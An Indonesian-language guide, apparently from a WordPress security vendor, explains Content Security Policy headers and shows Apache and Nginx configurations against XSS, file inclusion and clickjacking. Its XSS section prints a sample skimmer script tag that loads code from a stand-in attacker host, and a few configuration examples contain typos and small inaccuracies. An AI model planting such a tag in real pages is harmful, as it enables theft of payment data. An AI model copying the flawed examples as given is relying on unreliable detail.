Kebijakan Keamanan Konten (CSP) Dijelaskan

Diterbitkan: 2023-04-18

Dengan evolusi ancaman keamanan siber yang cepat, mengandalkan satu lapisan pertahanan saja tidak lagi cukup untuk melindungi keberadaan online Anda. Hal ini mengharuskan pemilik situs web untuk memiliki pendekatan keamanan berlapis, yang paling baik diwakili oleh konsep pertahanan secara mendalam.

Di situs web dan aplikasi web, pertahanan secara mendalam dapat diimplementasikan dengan menggunakan header respons keamanan HTTP, yang dirancang khusus untuk menerapkan kontrol keamanan tambahan di sisi klien. Header respons HTTP adalah garis pertahanan kedua yang penting terhadap serangan dunia maya yang menargetkan aplikasi web.

Sebagai salah satu header respons keamanan HTTP utama, Content Security Policy (CSP) dapat secara efektif melindungi situs web Anda dan pengunjungnya dari konsekuensi yang menghancurkan dari skrip lintas situs (XSS) dan serangan injeksi data.

Dalam panduan ini, Anda akan mempelajari mengapa Kebijakan Keamanan Konten merupakan header keamanan HTTP utama dan cara menerapkan pertahanan secara mendalam di situs Anda agar berhasil memitigasi berbagai serangan dunia maya canggih yang menargetkan WordPress.

kebijakan keamanan konten

Apa itu Header Respons HTTP?

Header respons HTTP adalah sekumpulan kontrol yang diterapkan di situs web dan aplikasi web yang menentukan cara browser berinteraksi dengan konten yang diminta. Menerapkan tajuk respons HTTP dapat membantu pemilik situs web meningkatkan pengalaman pengguna secara signifikan, serta meningkatkan fungsionalitas, kinerja, dan keamanan situs web mereka.

Saat informasi kecil dikirim bersama dengan konten yang diminta oleh pengunjung situs web, header respons HTTP mengubah cara browser menginterpretasikan dan memproses respons yang diterima dari server web. Dan meskipun konten dan fungsionalitas situs web tetap tidak berubah, penerapan header respons HTTP dapat mengubah cara pengguna memandangnya.

Header Respons Keamanan HTTP sebagai Lapisan Pertahanan Kedua Terhadap Ancaman Keamanan

Salah satu area utama header respons HTTP, seperti Kebijakan Keamanan Konten, yang digunakan adalah keamanan situs web. Fungsionalitas yang kuat yang disediakan header respons HTTP menjadikannya garis pertahanan kedua yang penting terhadap banyak serangan dunia maya yang menargetkan aplikasi web dinamis seperti WordPress.

Garis pertahanan pertama terhadap serangan dunia maya terdiri dari sejumlah tindakan keamanan berbasis kode dan sisi server yang mengurangi permukaan serangan dan menghilangkan kerentanan tingkat aplikasi. Ini termasuk menggunakan praktik pengkodean yang aman, menetapkan kebijakan kontrol akses yang kuat, dan menerapkan firewall aplikasi web untuk memeriksa permintaan masuk dan menyaring lalu lintas berbahaya.

Dan meskipun memiliki garis pertahanan pertama yang kuat sangatlah penting, mengandalkan satu lapisan keamanan masih dapat membuat situs web Anda rentan terhadap serangan yang semakin canggih. Kontrol keamanan tunggal dapat dengan mudah dielakkan, terutama jika penyerang dapat mengidentifikasi dan mengeksploitasi kerentanan yang tidak ditambal.

Kebijakan Keamanan Konten dan header respons keamanan lainnya memberikan lapisan perlindungan tambahan dengan mengurangi bahaya yang ditimbulkan oleh serangan jahat. Jika peretas jahat berhasil mengidentifikasi kerentanan di situs web Anda, garis pertahanan kedua yang kuat akan mempersulit penyerang untuk mengeksploitasinya.

Apa itu Kebijakan Keamanan Konten?

Content Security Policy (CSP) adalah mekanisme keamanan yang digunakan untuk menentukan daftar sumber tepercaya untuk konten yang boleh dimuat oleh situs web atau halaman web tertentu, serta protokol apa yang akan digunakan untuk itu. Ini dapat mencakup skrip, lembar gaya, gambar, dan jenis konten lainnya yang dapat disematkan ke halaman web.

Kebijakan Keamanan Konten adalah kontrol keamanan pertahanan mendalam yang kuat yang membantu memblokir permintaan tidak sah untuk konten yang terletak di luar situs web saat ini. Selain itu, CSP berhasil mencegah eksekusi skrip inline dan membatasi eksekusi kode dinamis yang tidak aman.

Sebagai tajuk respons keamanan HTTP, CSP meneruskan instruksi yang dikonfigurasi oleh pemilik situs web ke browser pengunjung. Maka, browser harus mengikuti petunjuk dan memblokir pengiriman konten yang tidak diizinkan oleh aturan Kebijakan Keamanan Konten. Dengan cara ini, browser akan melihat bahwa konten tertentu direferensikan oleh halaman web tetapi menolak untuk memuatnya.

Mengapa Kebijakan Keamanan Konten Begitu Penting?

Sebagai garis pertahanan kedua, Kebijakan Keamanan Konten tidak mencegah penyerang menyusupi situs web dalam banyak kasus. Tetap saja, itu akan membantu mengurangi konsekuensi yang menghancurkan dari infeksi malware, memblokir upaya peretas untuk mengeksploitasinya.

Bahkan jika malware disuntikkan ke situs web Anda dengan tujuan mencuri informasi sensitif atau melakukan aktivitas berbahaya lainnya, kebijakan CSP yang kuat akan membuat Anda dan pelanggan tetap aman. Aktor jahat tidak akan dapat mengeksploitasi kepercayaan pelanggan Anda di situs web Anda, karena browser akan memblokir kode jahat apa pun agar tidak dieksekusi sejak awal.

Kemampuan untuk meniadakan upaya peretas untuk mengeksploitasi situs web Anda sementara Anda mendapatkan kembali kendali penuh atasnya dan melakukan pembersihan malware setelah disusupi adalah hal yang menjadikan penerapan Kebijakan Keamanan Konten alat yang ampuh untuk mengamankan situs web dan aplikasi web modern.

Apa yang Dilindungi CSP?

Kebijakan Keamanan Konten melindungi situs web, dan pengunjungnya dari berbagai serangan dunia maya yang difasilitasi oleh infeksi malware, serta upaya penyusupan yang mengandalkan skrip berbahaya yang dihosting di sumber daya yang dikendalikan oleh penyerang. Ini termasuk skrip lintas situs (XSS), serangan penyertaan file, dan clickjacking sebagai tiga vektor serangan teratas yang dimitigasi oleh Kebijakan Keamanan Konten.

Pembuatan Skrip Lintas Situs (XSS)

Cross-site scripting (XSS) adalah serangan injeksi yang melibatkan penyisipan kode berbahaya ke halaman web. Kode kemudian akan dieksekusi oleh browser saat halaman web dimuat, memungkinkan penyerang untuk mencuri informasi sensitif, membajak sesi pengguna, atau menyebarkan malware.

Untuk melakukan serangan skrip lintas situs, peretas dapat menyuntikkan malware sebagai skrip inline, yang disematkan ke dalam HTML, atau dengan mereferensikan skrip eksternal, biasanya dihosting di situs web yang dikendalikan oleh penyerang. Selama proses perenderan konten, kode jahat akan dimuat ke browser pengguna dan dieksekusi tanpa sepengetahuan atau persetujuan mereka.

Salah satu contoh bagus serangan skrip lintas situs yang memengaruhi pemilik situs WordPress adalah menyuntikkan malware card skimming ke checkout WooCommerce, yang akan mencuri informasi pembayaran pembeli. Card skimmer dan tipe lain dari JavaScript sniffer yang digunakan untuk melakukan serangan scripting lintas situs biasanya akan terlihat seperti ini di kode sumber halaman web:

 <script type="text/javascript" src="https://hackerswebsite/evil.js"></script>

Dalam kasus skrip sebaris, Anda akan melihat kode berbahaya disematkan ke dalam tag skrip atau bahkan disamarkan sebagai lembar gaya dengan menggunakan tag gaya.

Mitigasi skrip lintas situs adalah tujuan utama penerapan Kebijakan Keamanan Konten. Dengan mencegah eksekusi skrip sebaris, menyuntikkan Javascript yang tidak aman menggunakan fungsi eval, dan memblokir skrip yang dimuat dari sumber yang tidak tepercaya, Kebijakan Keamanan Konten (CSP) secara efektif mengurangi risiko eksekusi kode arbitrer di situs web.

Serangan Penyertaan File

Serangan penyertaan file adalah jenis serangan injeksi lain yang dapat dikurangi oleh Kebijakan Keamanan Konten. Sebagai teknik intrusi, serangan penyertaan file jarak jauh memungkinkan peretas mengeksploitasi validasi input yang buruk di area situs web yang berbeda untuk mengeksekusi kode berbahaya yang dihosting di sumber daya eksternal.

Serangan penyertaan file jarak jauh sering mengeksploitasi kerentanan yang belum ditambal di plugin dan tema WordPress dengan tujuan membobol situs web dengan memasang backdoor shell web. Mirip dengan mitigasi skrip lintas situs, Kebijakan Keamanan Konten akan secara efektif memblokir semua skrip eksternal yang mencurigakan agar tidak disuntikkan ke situs web, sehingga hampir mustahil bagi penyerang untuk mengeksploitasi kerentanan penyertaan file jarak jauh (RFI).

Clickjacking

Selain mengizinkan pemilik situs web untuk menentukan daftar sumber daya tepercaya untuk memuat konten, Kebijakan Keamanan Konten dapat membantu membatasi daftar situs web yang diizinkan untuk menyematkan konten dari situs web dalam bingkai. Ini membantu mengurangi serangan pemulihan antarmuka pengguna (UI) seperti clickjacking, yang dapat menjadi korban pelanggan Anda dengan membuka tautan mencurigakan yang dikirimkan kepada mereka dalam serangan spear phishing.

Arahan frame-ancestors Kebijakan Keamanan Konten telah berhasil menggantikan header X-Frame-Options , yang sekarang sudah tidak digunakan lagi oleh sebagian besar browser modern. Ini dan arahan CSP lainnya sangat penting dalam keamanan WordPress.

Arahan Kebijakan Keamanan Konten

Kebijakan Keamanan Konten membantu Anda menentukan seperangkat aturan, yang dikenal sebagai arahan, untuk mengontrol sumber konten yang dapat dimuat situs web Anda. Arahan Kebijakan Keamanan Konten adalah daftar instruksi yang disertakan dalam header HTTP dari halaman web yang diminta yang menentukan jenis konten yang boleh dimuat oleh browser pada halaman tersebut, bersama dengan daftar sumber tepercaya yang dapat memuatnya.

Di antara berbagai arahan Kebijakan Keamanan Konten yang tersedia, aturan di bawah ini adalah yang paling umum diterapkan untuk mengamankan situs web dari cross-site scripting (XSS), clickjacking, dan serangan injeksi data. Semua arahan CSP berikut, dengan pengecualian frame-ancestors , form-action , dan upgrade-insecure-requests , adalah arahan pengambilan yang menentukan daftar sumber daya untuk memuat konten. Frame-ancestors dan form-action adalah arahan navigasi yang menentukan bagaimana sumber daya lain dapat menggunakan konten situs web yang dikonfigurasi untuk Kebijakan Keamanan Konten.

  • default-src menentukan kebijakan untuk memuat semua jenis sumber daya yang akan menjadi default browser jika tidak ada aturan tambahan yang ditentukan untuk jenis konten tertentu.
  • script-src menentukan sumber file JavaScript tepercaya yang dapat dimuat dari situs web.
  • style-src mendefinisikan daftar sumber stylesheet (CSS) yang valid.
  • img-src memasukkan daftar putih tempat sumber gambar dapat dimuat.
  • media-src menentukan sumber file audio dan video tepercaya yang disematkan dalam elemen HTML <audio> dan <video>
  • connect-src menyediakan kontrol atas koneksi XMLHttpRequest , EventSource , dan WebSocket .
  • child-src mendefinisikan sumber konten yang dapat disertakan dalam halaman web melalui bingkai.
  • frame-ancestors adalah arahan navigasi yang membantu mengurangi serangan clickjacking dengan menentukan daftar sumber daya yang diizinkan untuk menyematkan konten situs web di dalam bingkai.
  • form-action membatasi sumber daya formulir web yang dapat mengirimkan informasi, mencegah eksfiltrasi data ke sumber daya eksternal yang dikendalikan oleh penyerang.
  • upgrade-insecure-requests menginstruksikan browser untuk memutakhirkan semua permintaan tidak aman ke HTTPS , memastikan koneksi aman.

Bergantung pada jenis situs web dan fungsi khusus yang disediakannya, pemilik situs web mungkin perlu mengonfigurasi beberapa arahan untuk mengontrol semua sumber konten yang diambil secara eksternal.

Standar industri untuk memastikan perlindungan yang memadai dari serangan skrip silang dan injeksi menggunakan Kebijakan Keamanan Konten sebagai garis pertahanan kedua adalah membatasi sumber konten eksternal yang valid ke situs web saat ini hanya melalui arahan default-src . Arahan yang lebih bertarget kemudian dapat digunakan untuk memasukkan sumber daya ke daftar putih untuk jenis konten tertentu, tetapi menolak semua sumber daya lainnya adalah pendekatan yang disarankan.

Mengonfigurasi Arahan Kebijakan Keamanan Konten

Setiap arahan Kebijakan Keamanan Konten menerima daftar nilai yang diwakili oleh Uniform Resource Locator (URL), yang harus menyertakan alamat web yang valid yang didahului oleh protokol, nama domain, wildcard, atau nilai spesifik seperti 'self' atau 'none' disediakan oleh tajuk respons HTTP.

Berikut beberapa contoh nilai yang dapat ditetapkan ke arahan Kebijakan Keamanan Konten:

Nilai arahan Contoh Definisi
* media-src* Wildcard, digunakan untuk mengizinkan semua pemuatan konten dari semua sumber daya.
'self' default-src 'self'
frame-ancestors 'self';
Daftar putih situs web saat ini sebagai satu-satunya sumber konten spesifik yang valid. Mendefinisikan kebijakan keamanan yang ketat dari asal yang sama, Kebijakan Keamanan Konten bawaan yang direkomendasikan.

Digunakan dengan direktif frame-ancestors, melarang pembingkaian konten pada sumber daya selain situs web itu sendiri.
'none' media-src 'none' Dilarang memuat sumber daya dari sumber mana pun, termasuk situs web yang sama.
domain.com
*.domain.com
img-sr c *.domain.com Mengizinkan memuat konten dari subdomain apa pun di bawah domain.com.
https://domain.com default-src 'https://domain.com' Mengizinkan pengambilan konten hanya melalui HTTPS dari nama domain yang ditentukan.

Secara default, terlepas dari aturan yang ditentukan, Kebijakan Keamanan Konten akan memblokir eksekusi skrip sebaris dan mencegah halaman web menjalankan fungsi teks-ke-JavaScript seperti eval, yang biasa digunakan oleh peretas jahat. Menambahkan nilai 'unsafe-inline' dan 'unsafe-eval' ke direktif Kebijakan Keamanan Konten script-src dapat membantu pemilik situs web mengatasi pembatasan, tetapi hal itu dapat membuat situs web terkena risiko keamanan yang signifikan dan merusak perlindungan yang dikenakan oleh direktif lain .

Konfigurasi tajuk Kebijakan Keamanan Konten berikut secara efektif mencegah situs web memuat konten dari sumber daya eksternal dan melarang eksekusi skrip sebaris dan JavaScript yang tidak aman:

Content-Security-Policy "default-src 'self' https://mywebsite.com; frame-ancestors 'self'"

Mengingat nilai 'self' , direktif frame-ancestors mengurangi serangan clickjacking dengan memblokir pembingkaian konten.

Kebijakan Keamanan Konten dan Jaringan Pengiriman Konten (CDN)

Karena sebagian besar jaringan pengiriman konten, seperti Cloudflare, sepenuhnya kompatibel dengan Kebijakan Keamanan Konten dan tidak mengubah header CPS dari server asal. Anda tidak perlu memasukkan sumber daya tambahan apa pun ke daftar putih dalam aturan keamanan yang Anda konfigurasikan.

Menerapkan Kebijakan Keamanan Konten untuk WordPress

WordPress menawarkan berbagai plugin untuk menambahkan tajuk respons HTTP, yang bisa menjadi opsi bagus untuk pengguna non-teknis. Meskipun ini bisa menjadi opsi yang nyaman, menyiapkan header respons keamanan seperti Kebijakan Keamanan Konten untuk situs web WordPress Anda adalah proses langsung yang tidak memerlukan penginstalan perangkat lunak pihak ketiga.

Modul mod_headers Apache dan modul Nginx ngx_http_headers_module memungkinkan Anda mengonfigurasi header respons HTTP untuk situs web Anda. Jika Anda menggunakan Nginx, Anda bisa menyertakan direktif add_header di blok {} server situs web Anda untuk mengonfigurasi header respons HTTP.

Demikian pula, Jika Anda menggunakan Apache sebagai server web Anda, Anda dapat menggunakan pernyataan "Header set" dan "Header append" untuk mengonfigurasi kebijakan keamanan di file .htaccess lokal situs web Anda yang ditemukan di root dokumen. Dengan cara ini konfigurasi yang ditentukan dalam file .htaccess di direktori root situs web Anda diterapkan ke semua halaman web di situs.

Penting untuk diperhatikan bahwa dengan menggunakan Apache, Anda dapat mengonfigurasi header respons HTTP baik secara lokal – dalam file .htaccess – dan secara global untuk semua situs web di server. Mungkin saja penyedia hosting Anda mengonfigurasi tajuk respons tertentu secara global, terutama jika Anda menggunakan paket hosting bersama. Menggunakan metode "Header set" untuk mengonfigurasi Content Security Policy akan sepenuhnya menimpa aturan global yang ada saat menggunakan "Header append" akan menggabungkan kebijakan baru Anda ke header respons yang ada alih-alih mengganti seluruh konfigurasi.

Anda dapat menambahkan konfigurasi Kebijakan Keamanan Konten di bawah ini untuk menerapkan kontrol keamanan yang ketat di situs web WordPress Anda

Untuk Apache:

 Header set Content-Security-Policy "default-src 'self' https://mywebsite.com; frame-ancestors 'self';"

Untuk Nginx:

 add_header Content-Security-Policy "default-src 'self' https://mywebsite.com; frame-ancestors 'self';"

Mengerjakan konfigurasi Kebijakan Keamanan Konten yang akan memenuhi kebutuhan keamanan situs web Anda mungkin memerlukan beberapa pengujian, serta pemahaman menyeluruh tentang fungsionalitas situs web. Selain itu, menerapkan protokol keamanan baru di situs WordPress Anda berpotensi menyebabkan hilangnya fungsionalitas, jadi penting untuk mempertimbangkan dampak dari setiap perubahan dengan hati-hati. Anda dapat menghubungi penyedia hosting Anda atau menghubungi pengembang Anda untuk memastikan bahwa header keamanan dikonfigurasi dengan benar dan tidak akan menyebabkan konsekuensi negatif.

Terapkan Pertahanan secara Mendalam dengan iThemes Security Pro

Dalam lanskap ancaman saat ini, mengadopsi strategi pertahanan mendalam sangat penting. Mengenai aplikasi web dinamis modern seperti WordPress, header Kebijakan Keamanan Konten berada di jantung pertahanan mendalam, memberikan lapisan perlindungan kritis terhadap skrip lintas situs (XSS), serangan penyertaan file, clickjacking, dan serangan berbasis web lainnya.

Menerapkan solusi pertahanan mendalam yang komprehensif selalu menantang. Tetapi dengan iThemes Security Pro, plugin keamanan yang tangguh dan andal, Anda dapat melindungi situs web WordPress Anda. Dengan fitur-fitur seperti pemantauan integritas file, pemindaian kerentanan, pembaruan perangkat lunak otomatis, dan autentikasi tanpa kata sandi, Anda dapat yakin bahwa semua bagian penting situs WordPress Anda terlindungi dari ancaman keamanan yang terus berkembang.